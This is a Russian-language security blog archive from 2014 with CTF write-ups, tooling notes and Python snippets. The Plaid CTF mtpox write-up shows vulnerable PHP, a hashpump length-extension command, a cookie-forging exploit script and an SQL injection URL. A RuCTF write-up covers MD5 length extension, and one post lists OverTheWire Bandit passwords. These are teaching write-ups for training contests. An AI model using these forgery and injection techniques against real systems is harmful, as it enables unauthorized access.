суббота, 6 декабря 2014 г.

Git objects decoding

Недавно на 9447 CTF было 2 таска на разбор Git репозиториев.

1 таск заключался в доступе к сайту, где не были поставлены правильные права на .git директорию. Смотреть содержимое поддиректорий мы не могли, но скачивать файлы - почему бы и нет.
2 таск заключался в доступе к .git репозиторию (уже с просмотром файлов), где объекты были сжаты.

Ход решения простой, начинаем с файла .git/HEAD, где содержится указатель на refs/heads/master. После чего, мы скачиваем данный файл, там содержится хеш верхнего коммита (Документация). Каждый коммит содержится в директории  .git/objects.
Первый байт имени представляет из себя директорию в objects, остальная часть - файл.
Пример: da76fcea0fe881245c8af5c6afc51446740a38ba расположен в objects/da/76fcea0fe881245c8af5c6afc51446740a38ba.

Скачиваем файл и распаковываем его командой:
python -c "import zlib,sys;print repr(zlib.decompress(sys.stdin.read()))" < NAME
В результате получаем содержимое коммита с текстом и ссылками на другие коммиты. В данном таске не надо было писать скрипт автоматизации т.к. коммита было всего 2.

Второй таск решался выкачиванием всего репозитория (wget) и распаковкой. Тут был небольшой трюк с тем, что файлы .pack нужно было из репозитория удалить, а затем с помощью команды git unpack-objects  распаковать. Подробнее тут: stackoverflow.com

пятница, 14 ноября 2014 г.

KrasCTF

Завершились соревнования KrasCTF в Красноярске.
Статус соревнований - "Межрегиональные межвузовские студенческие соревнования по защите информации".
Играли 10 команд из Красноярска, Новосибирска, Томска и Омска.

Соревнования прошли достаточно бодро. Команды добрались до нас еще в среду, расселились в новеньких общагах и даже постояли в традиционных Красноярских пробках.
Формат заданий - Task Based длительностью 10 часов (где-то час еще отводился на обед). Дополнительно командам было организовано 2 кофе брейка без отрыва от соревнований.

Из-за различных технических особенностей и буднего дня расположились команды в разных аудиториях. Немного повлияло на атмосферу (т.к. пообщаться с другими командами и просто понаблюдать не получилось).

Технически все было грамотно. Интернет работал по всем направлениям, файлы качались быстро, ничего не отсоединялось. Жюрейка открывалась стабильно, таски тоже загружались и работали без проблем.

Сложность задач была основным недочетом. Нам таски понравились, они были умеренной сложности, но вот новичкам, которые играли в первый раз, было очень сложно. Наверное, таски на региональные соревнования должны быть ориентированы не на выбор победителя среди сильных команд, а на мотивирование новичков.

Категория Joy порадовала. Были конечно там телепатические места, которые раздражали, но прошло весело. (Помните шутку - "PPC был какой-то Joy, а Joy какой-то PPC."? :)
Дак вот здесь было не так. Вроде как все команды решили все Joy таски.
Нужно было делать фото команды, много гуглить, слушать песни и.т.д

Категория Reverse у нас традиционно решалась игроком Kwisatz, который сказал, что было скучно. Решили все кроме реверса на 400, для которого у нас не было Win64. Не знаю в чем там дело, но часть функций была видна только в рантайме.

Категория Web была странная. Решили Sql-inj, решили на 300. На 200 баллов был простой таск с телепатией, через которую не пробились.

Категория Crypto была как всегда. Половину соревнований никто не мог решить задачу на 100, мы ее решили первые :)
Задача на 200 вообще решалась за 5-10 минут. Задание на 300 было довольно требовательным к времени, поэтому никто не решил его.

Категория Forensics была классная (по крайней мере первые 2 таска). Остальные мы раскопали глубоко, но остановились в шаге от верного ответа, не найдя его в админке wordpress (а был ли он там все-таки?).

Вроде все перечислил.
Результаты будут на сайте, а мы выносим из данного опыта выводы.
Пока ясно, что соревнования должны быть дольше и не состоять только из соревновательного дня, но это уже другая история.

Всем спасибо, кто проводил, готовил и участвовал.



суббота, 18 октября 2014 г.

CV

If someone told me that writing CV is so difficult I would never believe it.
Its kind of endless process of updating the text. Add skills like haskell or not? Write about cisco CCNA level, or write just simple "networking" e.t.c

Funny staff :)

среда, 15 октября 2014 г.

Encryption for paranoids

I'm trying to start a series of articles about my usual encryption practises. I'm not a person, who is obliged to keep his secrets ('cause I don't have any secrets), I just like crypto-tools.

Let's start from encryption standarts.

First of all, you should know that if you don't sure in perfection of algorithm - it's normal. Nobody except different government structures (hello, NSA, KGB...) knows about real backdoors in crypto-algorithms.
But, you can make your messages little more secure by using different algorithms at the same time.

There are two ways:

1) Using a new independent key for every algo.
2) Using master-key and KDF (Key Derivation Function).

четверг, 9 октября 2014 г.

hexdump

Чем лучше пользоваться для просмотра hexdump'ов ?
Пока что юзаю ghex + hexdump, но не очень нравятся такие извращения:
hexdump -C 1 | sed -re "s/[[:digit:]]{8} *//"

воскресенье, 21 сентября 2014 г.

PDF decompression

When you need to analyse malicious PDF, qpdf might be an useful tool.
Command: qpdf --qdf original.pdf unpacked.pdf


In the CSAW CTF 2014, there was a task with js in pdf file. There is a writeup http://balidani.blogspot.ru/2014/09/csaw14-fluffy-no-more-writeup.html

среда, 10 сентября 2014 г.

Crypto tools

Instead of work, I'm trying to implement Oblivious Transfer protocol.
If you don't know about it - watch here. I'll probably write an article about it.
Never mind, this story is about different ways of implementing crypto on python and the charming tool: http://charm-crypto.com/Main.html.
It seems to be awesome!

вторник, 2 сентября 2014 г.

Под полковником

Если вся транспортная полиция за год изъяла 19 кило наркотиков, а у подполковника нашли в два раза больше, сколько еще героина осталось?

Иногда "Фонтанка" публикует упоительные истории.
Заставляет задуматься об эффективности работы соответствующих служб и о проблеме "инсайдеров". Действительно, кто нарушает безопасность в любой области? Свои, конечно!

http://www.fontanka.ru/2014/09/02/042/

понедельник, 1 сентября 2014 г.

wargames Bandit answers

The most easy challenge for beginners (1-st year students).
http://overthewire.org/

Answers for levels. How fast can you solve all these levels? :D

bandit1:boJ9jbbUNNfktd78OOpsqOltutMc3MY1
bandit2:CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
bandit3:UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK
bandit4:pIwrPrtPN36QITSp3EQaw936yaFoFgAB
bandit5:koReBOKuIDDepwhWk7jZC0RTdopnAYKh
bandit6:DXjZPULLxYr17uwoI01bNLQbtFemEgo7
bandit7:HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs
bandit8:cvX2JJa4CFALtqS87jk27qwqGhBM9plV
bandit9:UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR
bandit10:truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk
bandit11:IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR
bandit12:5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu
bandit13:8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL
bandit14:4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
bandit15:BfMYroe26WYalil77FoDi9qh59eK5xNr
bandit16:cluFn7wTiGryunymYOu4RcffSxQluehd
bandit17:xLYVMN9WE5zQ5vHacb0sZEVqbrp7nBTn
bandit18:kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
bandit19:IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x
bandit20:GbKksEFF4yrVs6il55v6gwY5aVje5f0j
bandit21:gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
bandit22:Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
bandit23:jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
bandit24:UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

воскресенье, 6 июля 2014 г.

Авторизация vk.com без API

Для определенных задач часто требуется парсить vk.com.
Но иногда хочется это делать без API. Только логин и пароль.

Начнем с составных частей скрипта. Сначала добавим все нужные заголовки HTTP:

Далее нужно написать функцию аутентификации.
Алгоритм следующий:

1. Загружаем главную страницу и парсим из нее ip_h
2. Формируем POST запрос на страницу аутентификации http://login.vk.com/?act=login
3. Получаем cookie и response["location"]
4. Делаем http запрос на response["location"] и получаем cookie remixsid
5. Формируем рабочую cookie

Ну и для проверки можно скачать список своих собственных диалогов:


Функция GET - это просто небольшая обертка для httplib2.request

вторник, 6 мая 2014 г.

Longest common substring

Задачка http://acm.timus.ru/problem.aspx?space=1&num=1517 вызвала размышления на тему нахождения наибольшей общей подстроки двух строк.
В интернете удивительный чулан по этой теме. Решил упорядочить методы решения данной задачи, а заодно переписать на питоне.

№1 (решение в лоб), асимптотика выше квадрата.

Ну не совсем в лоб (перебираем все подстроки одной из строк и ищем вхождения во второй строке).

Тут оптимизация :D

def lcs_native(a, b):
    a, b = (a, b) if len(a) < len(b) else (b, a)
    pos = 0
    substr = ""
    search_str = a[:]
    while ( pos != len(a) ):
        while ( len(search_str) > len(substr) ):
            if search_str in b:
                substr = search_str[:]
                break
            else:
                search_str = search_str[:-1]
        pos += 1
        search_str = a[pos:]
    return substr

№2 (решение модное через динамику), асимптотика n*m

def longest_common_substring(s1, s2):
    m = [[0] * (1 + len(s2)) for i in xrange(1 + len(s1))]
    longest, x_longest = 0, 0
    for x in xrange(1, 1 + len(s1)):
        for y in xrange(1, 1 + len(s2)):
            if s1[x - 1] == s2[y - 1]:
                m[x][y] = m[x - 1][y - 1] + 1
                if m[x][y] > longest:
                    longest = m[x][y]
                    x_longest = x
            else:
                m[x][y] = 0
    return s1[x_longest - longest: x_longest]

№3 (решение самодельное через суффиксный массив), асимптотика странная

def lcs_suffix_handmade(a, b):
    result_len = 0
    result_str = 0
    text = a + b
    sarray  = sorted(range(len(text)), key = lambda i: text[i:])
    for i in range(len(text)-1):
        if sarray[i] >= len(a) and sarray[i+1] >= len(b):
            continue
        elif sarray[i] < len(a) and sarray[i+1] < len(b):
            ##print sarray[i],
            continue
        else:
            max_len = 0
            while (max_len < len(text)-sarray[i] and max_len < len(text)-sarray[i+1]):
                if text[sarray[i]+max_len] == text[sarray[i+1] + max_len]:
                    max_len += 1
                else:
                    break
            if  max_len > result_len:
                result_len = max_len
                result_str = sarray[i]

    return text[result_str:result_str + result_len]

№4 (решение читерское), асимптотика n+m

import difflib
def lcs_suffix_tree(a, b):
    seq_matcher = difflib.SequenceMatcher(None, a, b)
    res = seq_matcher.find_longest_match(0, len(a), 0, len(b))
    return a[res.a:res.a+res.size]

Исходники тут: https://github.com/n0str/python-learning/blob/master/acm/strings/lcs.py
Если найдете неточности - сообщите мне: ntpcp@yandex.ru

воскресенье, 4 мая 2014 г.

Отчет о тренировке Siberian CTF между командами Красноярска, Томска и Омска.

Задумка проводить регулярные тренировки по attack-defence CTF родилась на sibirCTF в Томске в начале апреля. Уже через месяц мы сумели силами 2 команд подготовить первую тренировку.
Суть в том, что каждая команда по очереди готовит сервисы к игре, а остальные тренируются.
Команда Yozik вызвалась проводить тренировку первой. Подготовить сервисы проблемой не является (хотя, это гораздо более серьезная задача, чем делать таски для jeopardy).
Проверяющую систему было решено писать с нуля т.к. нам не нравилась ни одна из существующих для такого рода задач.

Все заботы по организации игровой сети взяла на себя keva, у которых кафедра проявляет достойную подражания заинтересованность в поддержке CTF движения.

Собрать удалось только 3 команды: yozik (наши первокурсники), brizzz (Омск), keva-mustang (Томск). Надеемся, что в следующей тренировке команд будет больше.


Сервисы

Сервисы мы готовили для боевых условий, в них были весьма интересные уязвимости, похожие на уязвимости сервисов в RUCTFE.
Всего 3 сервиса: "php", "perl", "python", написанные на соответствующих языках.
В сервисе php был сайт, имитирующий систему интернет-банкинга, в сервисе perl - сервер заметок, в сервисе python - сайт, позволяющий загружать и просматривать котиков :)



Регламент

Тренировка была рассчитана на 4 часа (хотя, мы осознавали, что команды не успеют раскурить все сервисы). В ходе соревнований, чек-система устанавливала в каждом раунде флаги на сервисы и проверяла наличие флагов из предыдущего раунда. В случае, если сервис работает корректно, командам начислялись 3 балла за защиту.
За каждый украденный флаг команда получала баллы по формуле: 6 / N, где N - число команд, сдавших данный флаг.
Длительность раунда 1 минута, время жизни флага - 5 раундов.

Команды могли сдавать рапорты об уязвимостях (advisory), которые мы проверяли руками и начисляли немного баллов (24 за серьезную уязвимость, 6 за мелкую). Данный функционал нужен был для понимания, что происходит в игре и какие сервисы раскуриваются командами.

Уязвимый образ

Все образы поднимала у себя keva, поэтому командам достаточно было зайти на свой образ по ssh. Там был обычный Debian без каких либо лишних пакетов и надстроек. В следующий раз стоит упаковать каждый сервис в jail, но мы решили, что в условиях тренировки это лишнее.

Фейлы

Теперь о самом важном, для чего все тренировки и проводятся :)
1) Задержка старта игры из-за клонирования виртуалок. Тут наш косяк - стоило заполнить образ раньше и отдать его кеv'е на клонирование заранее. То же самое относилось и к самой сети, которую стоило протестировать.
Я до сих пор не понимаю, как сеть могла работать, а потом неожиданно перестать давать доступ командам на свои! образы, при этом доступ к чужим сохранялся :)

2) VPN. У keva были белые ip адреса, но строить на них игру неправильно. Однако, с vpn классически много накладных проблем. Все это нужно тестировать и продумывать архитектуру. Чего стоит только подключение моего компьютера к сети (из-за политик безопасности университета)



3) Скрипты запуска сервисов. Для каждого сервиса мы завели bash скрипт, который данный сервис перезапускал. Однако, скрипт не был рассчитан на внезапное изменение архитектуры сети в середине игры. Из-за чего, некоторые команды имели проблемы с защитой.
Не столько фейл, сколько обычная админская задача, но это же тренировка и не стоит требовать от команд знание запуска django сервера. Я надеюсь, что команды перезапуска, которые мы выложили, своевременно помогли решить данную проблему.

4) Сервисы. В сервисе php, я забыл затереть index.html, что очень почему-то помешало разбору сервиса.

5) После перезапуска игры, когда я переделывал конфиги, я перепутал команду keva и brizzz местами, в итоге, команда keva недополучала баллы за защиту где-то 10 минут. Эта ошибка была устранена, но она также сказалась на команде brizzz, которая была удивлена, когда у них сервисы резко легли (хотя, они и не работали).

Что получилось хорошо

1) Чек-система. Несмотря на наличие в коде велосипедов (отрефакторить мы не успели), проверяющая система работала стабильно всю игру, проблем с ней не было, даже после изменения архитектуры игры, когда мы просто кильнули ее процессы, а затем перезапустили с новым конфигом и ip адресами - все заработало сразу и без задержек.

2) Администрирование. keva сумела очень быстро переключить игру на внешние ip адреса, когда с VPN что-то произошло :) И в целом, все было доступно быстро и удобно.

Что дальше

Новая тренировка, где задачи готовим уже не мы. Надеюсь, большее число команд и более протестированная архитектура сети.
А еще долгое и упорное докуривание сервисов, которые были на нашей игре.

Статистика

Результаты игры в большой мере рандомизированы, не думаю, что стоит по ним судить об уровне команд. Например, наши первокурсники, получили больше баллы за защиту только потому что старались особо ничего не трогать :)


Графики защиты, атаки и общего счета.

DEFENCE
ATTACK
SUM

Атаки были только по сервису PHP.
Хотя, в каждом из 3 сервисов было по 3-4 уязвимости.

БД игры, где можно посмотреть общую статистику или же (если кто хочет) реализовать визуализацию игры. http://yadi.sk/d/WkvOzxDkNycGH

Исходники проверяющей системы: https://github.com/n0str/checksystem
Мы приглашаем всех принять участие в ее разработке. Ниша нашей чек-системы - создание условий для простого проведения локальных тренировок командами.

Спасибо

Спасибо команде keva за администрирование и полную поддержку (они придумали все эти тренировки).
Спасибо командам brizzz из Омска, keva из Томска и yozik из Красноярска за участие и поддержку.
Спасибо statos за сервис php.
Спасибо kenny за сервис python.
Спасибо kwisatz Haderach за сервис perl.

среда, 30 апреля 2014 г.

Управление очередями

Открыл для себя прекрасную штуку - rabbitmq.
Раньше с очередями не очень заморачивался, а тут понадобилось использовать очереди и понеслось.

Особенно доставляет наличие work queues, которые позволяют раздавать потокам задачи, не беспокоясь о том, что они будут розданы равномерно.

Так выглядит скрипт, который посылает команды в очередь.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
import pika
import sys

connection = pika.BlockingConnection(pika.ConnectionParameters(
        host='localhost'))
channel = connection.channel()

channel.queue_declare(queue='task_queue', durable=True)

message = ' '.join(sys.argv[1:]) or "Hello World!"
channel.basic_publish(exchange='',
                      routing_key='task_queue',
                      body=message,
                      properties=pika.BasicProperties(
                         delivery_mode = 2, # make message persistent
                      ))
print " [x] Sent %r" % (message,)
connection.close()
А так сам код потока, который получает команды из очереди.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python
import pika
import time

connection = pika.BlockingConnection(pika.ConnectionParameters(
        host='localhost'))
channel = connection.channel()

channel.queue_declare(queue='task_queue', durable=True)
print ' [*] Waiting for messages. To exit press CTRL+C'

def callback(ch, method, properties, body):
    print " [x] Received %r" % (body,)
    time.sleep( body.count('.') )
    print " [x] Done"
    ch.basic_ack(delivery_tag = method.delivery_tag)

channel.basic_qos(prefetch_count=1)
channel.basic_consume(callback,
                      queue='task_queue')

channel.start_consuming()

воскресенье, 13 апреля 2014 г.

И снова lenght-extension. Plaid CTF (PPP) - mtpox (Web 150)

mtpox

Web (150 pts)
The Plague has traveled back in time to create a cryptocurrency before Satoshi does in an attempt to quickly gain the resources required for his empire. As you step out of your time machine, you learn his exchange has stopped trades, due to some sort of bug. However, if you could break into the database and show a different story of where the coins went, we might be able to stop The Plague.

Была дана ссылка на сайт, где страницы подгружались через GET запрос.
Соответственно, подставив в site/index.php?page=index.php - можно было получить код страницы.

Привожу основные скрипты:

index.php
<?php

  if (isset($_GET['page'])) {

    if (strstr($_GET['page'], "secrets")) { echo "ERROR!\n"; }

    else { readfile(basename($_GET['page'])); }

  }

  else {

    readfile("index");

  }

?>
admin.php
<?php

  require_once("secrets.php");

  $auth = false;

  if (isset($_COOKIE["auth"])) {

     $auth = unserialize($_COOKIE["auth"]);

     $hsh = $_COOKIE["hsh"];

     if ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"]))) {

       $auth = false;

     }

  }

  else {

    $auth = false;

    $s = serialize($auth);

    setcookie("auth", $s);

    setcookie("hsh", hash("sha256", $SECRET . strrev($s)));

  }

  if ($auth) {

    if (isset($_GET['query'])) {

      $link = mysql_connect('localhost', $SQL_USER, $SQL_PASSWORD) or die('Could not connect: ' . mysql_error());

      mysql_select_db($SQL_DATABASE) or die('Could not select database');

      $qstr = mysql_real_escape_string($_GET['query']);

      $query = "SELECT amount FROM plaidcoin_wallets WHERE id=$qstr";

      $result = mysql_query($query) or die('Query failed: ' . mysql_error());

      $line = mysql_fetch_array($result, MYSQL_ASSOC);

      foreach ($line as $col_value) {

        echo "Wallet " . $_GET['query'] . " contains " . $col_value . " coins.";

      }

    } else {

       echo "<html><head><title>MtPOX Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='demo_form_action.asp' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";

    }

  }

  else echo "Sorry, not authorized.";

?>

Сразу видно, что файл secrets.php прочесть не получится. Функция strstr довольно надежна.
Забегу вперед и скажу, что это никакой не веб, а скорее криптография.
Будем смотреть admin.php
$auth = false;
Дальше проверяется установлена ли у нас $_COOKIE["auth"].
Если установлена - происходят интересности, если нет - нам устанавливают ее.

После этого проверяется переменная $auth. Если она не false - выполняется какой-то код, который явно приведет
к ответу т.к. там SQL-inj "SELECT amount FROM plaidcoin_wallets WHERE id=$qstr".

Посмотрим что у нас есть.
$auth = false;

$s = serialize($auth);
Данный код вернет следующий текст: "b:0;". Это сериализованное значение false.
Его нам кладут в переменную $auth, а в hsh - sha256("$SECRET".";0:b")

Что в переменной $SECRET мы не знаем, но хэшем обладаем.

Далее смотрим первое условие.
$auth = unserialize($_COOKIE["auth"]);
Итак, в переменной $auth у нас оказывается первое значение после де-сериализации.
Грубо говоря, если там будет несколько значений: "b:0;b:1;" - переменная $auth получит только
де-сериализованное первое значение.
$hsh = $_COOKIE["hsh"];
Тут мы просто получаем хэш из cookie.
if ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"]))) {

       $auth = false;
Итак, проверка подписи. Если хэш из cookie не равен sha256("$SECRET".strrev($_COOKIE["auth"]) -
у нас переменная $auth станет false и мы не получим результата :(

Придется подделывать $_COOKIE["auth"], но в этом случае мы не сможем его правильно подписать т.к.
не знаем $SECRET.

Знающие люди уже догадались, что нам нужно применить атаку удлинением сообщения.
Что нам нужно получить на выходе?

В идеале, взять $_COOKIE["auth"] = "b:1;" и подписать правильным хэшем.
Но, соли мы не знаем.

Суть атаки удлинением в том, что если мы имеем:
sha256("secret_string;0:b"), то мы можем получить хэш от строки "secret_string;0:bany_string"
при этом, мы даже не знаем secret_string, но можем считать хэш, добавляя любой текст.

Что будем добавлять?
1. Нужно, чтобы $_COOKIE["auth"] валидно десериализовалось и при этом, результат был не false.
Значит начинаться оно должно с "b:1;". Дальше может быть хоть что, де-сериализация вернет true.
2. Нужно, чтобы хэш от строки "$SECRET".";0:b...;1:b" был верный.

Тут внимательно попробуйте разобраться (не запутайтесь с strrev).
Lengh extension вернет нам верный хэш строки (secret_string;0:b*****************;1:b),
где звездочки - это различные сложные символы для выравнивания блоков.

Результат мы развернем и получим  $_COOKIE["auth"] = "b:1;*****************b:0;"
Легко видеть, что после де-сериализации, функция прочитает только до ;

Затем программа развернет эту строку, приклеет слева $SECRET и посчитает хэш.
Хэш, который мы знаем :)

Теперь экскурс в атаку.

Рекомендую почитать его на википедии.

Берем код с https://github.com/bwall/HashPump
git clone https://github.com/bwall/HashPump.git

apt-get install g++ libssl-dev

make

make install
(перед make можно сделать небольшой хак, чтобы работать с данными нулевой длины:
закомментировать код.
if(data.size() == 0)
{
cout << "Input Data: ";
cin >> data;
}
Затем достаточно вызвать команду
hashpump -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 --data \;0:b -a \;1:b -k 8
(-s hash - это наш хэш, который мы знаем, который состоит из соли и ";0:b")
(--data - это те самые данные после соли ";0:b". Слеш стоит для экранирования)
(-a - данные, которые мы дописываем в конец (а потом они будут в начале, когда строчку развернут), ";1:b"
(-k - длина ключа, которую мы не знаем)

Ответ достаточно просто развернуть и записать себе в $_COOKIE["auth"], ну и хэш тоже не забыть поменять на новый.
Готово!
Теперь пишем эксплойт, чтобы сделать все автоматически.
for i in range(1,10):
   os.system("hashpump -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 --data \;0:b -a \;1:b -k "+str(i))

Этот код сгенерит нам строчки для разных длин ключа. Выполните его, а вывод перенаправьте в файл.
def solutions():
   hsh = "ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3"
   hsh2 = "967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1"


   d = open("1_.txt").read()
   for line in d.split('\n'):
      if not hsh2 in line:
         data = eval("\""+line+"\"")
         data = data[::-1]
         #print line
         res = ""
         for c in data:
            temp = hex(ord(c))[2:]
            if len(temp) == 1:
               temp = "0" + temp
            temp = "%" + temp
            res += temp
         headers['Cookie'] = "auth=" + res + ";hsh=" + hsh2
         print res
         http = httplib2.Http(timeout=5)
         response, content = http.request("http://54.211.6.40/admin.php", 'GET', headers=headers)
         print content
Этот код берет данные из файла, который вы создали и эксплуатирует уязвимость.

Запускаем скрипт.

Видно, что на ключе длиной 8 символов - авторизация проходит.
Теперь осталось взять из файла соответствующий auth и hash и вставить себе в браузер.
Ну и пройти по ссылке с php-injection: http://54.211.6.40/admin.php?query=2%20union%20select%20id%20from%20plaidcoin_wallets

Флаг будет на экране. Интересный таск.

пятница, 4 апреля 2014 г.

Кто такие ответственные люди, и какими они должны быть

Возможно эту мысль стоит донести более развернуто и тезисно с обоснованием каждого пункта, но сейчас хочу лишь выразить общий смысл.

Человек, который курирует группу людей в первую очередь должен решать вопросы.
Подбадривание, мотивация, лобби, советы - все это важно, но без этого можно и обойтись.

Но если ты не в состоянии просто взять и приложить все силы к решению конкретной проблемы лучшим способом - ты не куратор и польза от тебя группе никакая.

Спортивная команда не должна париться о регистрациях\документах и прочих скучных вещах. Ее задача, как и команды по математике, тренироваться и побеждать, а не выбивать себе стипендии, чтобы оплатить плацкарт и штраф за распитие спиртных напитков в публичном месте.

Если университет не может системно организовать пути нейтрализации бюрократических сложностей и обеспечить прозрачное решение вопросов с минимальными рисками, это значит что где-то ошибка. А на уровне студенческих кураторов или помощников ректора - это уже другой вопрос.

четверг, 13 марта 2014 г.

Атака удлинением сообщения

Server (python27.quals.ructf.org:12337) accepts only authorized messages.
 It works like this:

buf = c.recv(4096)

digest, msg = buf.split(" ", 1)

if (digest == md5(password+msg).hexdigest()):

  #here I send a secret

else:

  c.send("Wrong signature\n")
 

You have intercepted one authorized message: "b34c39b9e83f0e965cf392831b3d71b8 do test connection".
Construct your own authorized message! Answer starts with 'RUCTF_'

Почитать про атаку и ее описание можно на http://en.wikipedia.org/wiki/Length_extension_attack
А я ограничу свое повестование описанием самой сути задачи и решения.

Дан сервер, который запрашивает какое-либо сообщение и подпись этого сообщения.
Подпись формируется md5(password+msg). При этом password нам неизвестен, а значит сконструировать валидную подпись не получится.

Но у нас есть сообщение и валидная подпись этого сообщения. Используя данную атаку, которая описана в вики, можно, имея подпись для MSG, получить подпись для MSG+MSG_2, где MSG_2 любой текст. При этом password мы не узнаем, но подпись будет верной.

Остается лишь найти в интернете скрипт и написать эксплойт.


"""
MD5C.C - RSA Data Security, Inc., MD5 message-digest algorithm

Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.

License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
Algorithm" in all material mentioning or referencing this software
or this function.

License is also granted to make and use derivative works provided
that such works are identified as "derived from the RSA Data
Security, Inc. MD5 Message-Digest Algorithm" in all material
mentioning or referencing the derived work.

RSA Data Security, Inc. makes no representations concerning either
the merchantability of this software or the suitability of this
software for any particular purpose. It is provided "as is"
without express or implied warranty of any kind.

These notices must be retained in any copies of any part of this
documentation and/or software.
"""
import socks
# Constants for MD5Transform routine.

S11 = 7
S12 = 12
S13 = 17
S14 = 22
S21 = 5
S22 = 9
S23 = 14
S24 = 20
S31 = 4
S32 = 11
S33 = 16
S34 = 23
S41 = 6
S42 = 10
S43 = 15
S44 = 21

PADDING = "\x80" + 63*"\0"   # do not overlook first byte again :-)

# F, G, H and I are basic MD5 functions
def F(x, y, z): return (((x) & (y)) | ((~x) & (z)))

def G(x, y, z): return (((x) & (z)) | ((y) & (~z)))

def H(x, y, z): return ((x) ^ (y) ^ (z))

def I(x, y, z): return((y) ^ ((x) | (~z)))

# ROTATE_LEFT rotates x left n bits.
def ROTATE_LEFT(x, n):
    x = x & 0xffffffffL   # make shift unsigned
    return (((x) << (n)) | ((x) >> (32-(n)))) & 0xffffffffL

# FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
# Rotation is separate from addition to prevent recomputation.
def FF(a, b, c, d, x, s, ac):
    a = a + F ((b), (c), (d)) + (x) + (ac)
    a = ROTATE_LEFT ((a), (s))
    a = a + b
    return a # must assign this to a

def GG(a, b, c, d, x, s, ac):
    a = a + G ((b), (c), (d)) + (x) + (ac)
    a = ROTATE_LEFT ((a), (s))
    a = a + b
    return a # must assign this to a

def HH(a, b, c, d, x, s, ac):
    a = a + H ((b), (c), (d)) + (x) + (ac)
    a = ROTATE_LEFT ((a), (s))
    a = a + b
    return a # must assign this to a

def II(a, b, c, d, x, s, ac):
    a = a + I ((b), (c), (d)) + (x) + (ac)
    a = ROTATE_LEFT ((a), (s))
    a = a + b
    return a # must assign this to a


class md5:
    def __init__(self, initial=None):
        self.count = 0L
        self.state = (0x67452301L,
                      0xefcdab89L,
                      0x98badcfeL,
                      0x10325476L,)
        self.buffer = ""
        if initial:
            self.update(initial)
            

    def update(self, input):
        """
        MD5 block update operation. Continues an MD5 message-digest
        operation, processing another message block, and updating the
        context.
        """
        inputLen = len(input)
        index = int(self.count >> 3) & 0x3F

        # Update number of bits 
        self.count = self.count + (inputLen << 3)
        print("count = %s" % repr(self.count))
        
        partLen = 64 - index

        # Transform as many times as possible.
        if inputLen >= partLen:
            self.buffer = self.buffer[:index] + input[:partLen]
            self.transform(self.buffer)
            i = partLen
            while i + 63 < inputLen:
                self.transform(input[i:i+64])
                i = i + 64
            index = 0
        else:
            i = 0

        # Buffer remaining input
        self.buffer = self.buffer[:index] + input[i:inputLen]

        
    def final(self):
        """
        MD5 finalization. Ends an MD5 message-digest operation, 
        writing the message digest and zeroizing the context.
        """
        # Save number of bits
        bits = Encode((self.count & 0xffffffffL, self.count>>32), 8)
        
        # Pad out to 56 mod 64
        index = int((self.count >> 3) & 0x3f)

        if index < 56:
            padLen = (56 - index)
        else:
            padLen = (120 - index)
        
        # Append padding
        self.update(PADDING[:padLen])

        # Append bits
        self.update(bits)
        
        # Store state in digest
        digest = Encode(self.state, 16)

        # Zeroize sensitive information
        self.__dict__.clear()
        return digest
    
    digest = final  # alias

    def transform(self, block):
        """ MD5 basic transformation. Transforms state based on block """
        a, b, c, d = state = self.state

        x = Decode(block, 64)

        # Round 1
        a = FF (a, b, c, d, x[ 0], S11, 0xd76aa478)#; /* 1 */
        d = FF (d, a, b, c, x[ 1], S12, 0xe8c7b756)#; /* 2 */
        c = FF (c, d, a, b, x[ 2], S13, 0x242070db)#; /* 3 */
        b = FF (b, c, d, a, x[ 3], S14, 0xc1bdceee)#; /* 4 */
        a = FF (a, b, c, d, x[ 4], S11, 0xf57c0faf)#; /* 5 */
        d = FF (d, a, b, c, x[ 5], S12, 0x4787c62a)#; /* 6 */
        c = FF (c, d, a, b, x[ 6], S13, 0xa8304613)#; /* 7 */
        b = FF (b, c, d, a, x[ 7], S14, 0xfd469501)#; /* 8 */
        a = FF (a, b, c, d, x[ 8], S11, 0x698098d8)#; /* 9 */
        d = FF (d, a, b, c, x[ 9], S12, 0x8b44f7af)#; /* 10 */
        c = FF (c, d, a, b, x[10], S13, 0xffff5bb1)#; /* 11 */
        b = FF (b, c, d, a, x[11], S14, 0x895cd7be)#; /* 12 */
        a = FF (a, b, c, d, x[12], S11, 0x6b901122)#; /* 13 */
        d = FF (d, a, b, c, x[13], S12, 0xfd987193)#; /* 14 */
        c = FF (c, d, a, b, x[14], S13, 0xa679438e)#; /* 15 */
        b = FF (b, c, d, a, x[15], S14, 0x49b40821)#; /* 16 */

        # Round 2 
        a = GG (a, b, c, d, x[ 1], S21, 0xf61e2562)#; /* 17 */
        d = GG (d, a, b, c, x[ 6], S22, 0xc040b340)#; /* 18 */
